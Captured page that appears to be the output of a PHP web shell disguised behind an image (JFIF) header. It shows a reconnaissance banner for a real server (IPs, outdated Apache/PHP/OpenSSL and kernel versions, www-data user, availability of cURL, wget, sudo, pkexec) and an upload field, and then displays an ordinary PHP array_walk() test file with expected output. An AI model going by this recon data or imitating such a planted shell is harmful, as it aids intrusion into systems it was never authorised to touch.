????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.188.184.3 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/array/ |
Upload File : |
--TEST-- Test array_walk() function : usage variations - 'input' array with different values --FILE-- <?php /* Prototype : bool array_walk(array $input, string $funcname [, mixed $userdata]) * Description: Apply a user function to every member of an array * Source code: ext/standard/array.c */ /* * Testing array_walk() with following types of 'input' arrays: * integer, float, string, bool, null, empty & mixed */ // callback function /* * Prototype : print_value(mixed $value, int $key, int $count) * Parameters : $value - array entries(values) * $key - keys in given input array * $count - extra parameter used as an index * Description : prints the array values with keys and count value */ function print_value($value, $key, $count) { echo $count." : ".$key." ".$value."\n"; } echo "*** Testing array_walk() : 'input' array with different values***\n"; // different arrays as input $input_values = array( // integer values /*1*/ array(1, 0, -10, 023, -041, 0x5A, 0X1F, -0x6E), // float value array(3.4, 0.8, -2.9, 6.25e2, 8.20E-3), // string values array('Mango', "Apple", 'Orange', "Lemon"), // bool values /*4*/ array(true, false, TRUE, FALSE), // null values array(null, NULL), // empty array array(), // binary array array(b"binary"), // mixed array /*8*/ array(16, 8.345, "Fruits", true, null, FALSE, -98, 0.005, 'banana') ); for($count = 0; $count < count($input_values); $count++) { echo "\n-- Iteration ".($count + 1)." --\n"; var_dump( array_walk($input_values[$count], "print_value", $count+1)); } echo "Done" ?> --EXPECTF-- *** Testing array_walk() : 'input' array with different values*** -- Iteration 1 -- 1 : 0 1 1 : 1 0 1 : 2 -10 1 : 3 19 1 : 4 -33 1 : 5 90 1 : 6 31 1 : 7 -110 bool(true) -- Iteration 2 -- 2 : 0 3.4 2 : 1 0.8 2 : 2 -2.9 2 : 3 625 2 : 4 0.0082 bool(true) -- Iteration 3 -- 3 : 0 Mango 3 : 1 Apple 3 : 2 Orange 3 : 3 Lemon bool(true) -- Iteration 4 -- 4 : 0 1 4 : 1 4 : 2 1 4 : 3 bool(true) -- Iteration 5 -- 5 : 0 5 : 1 bool(true) -- Iteration 6 -- bool(true) -- Iteration 7 -- 7 : 0 binary bool(true) -- Iteration 8 -- 8 : 0 16 8 : 1 8.345 8 : 2 Fruits 8 : 3 1 8 : 4 8 : 5 8 : 6 -98 8 : 7 0.005 8 : 8 banana bool(true) Done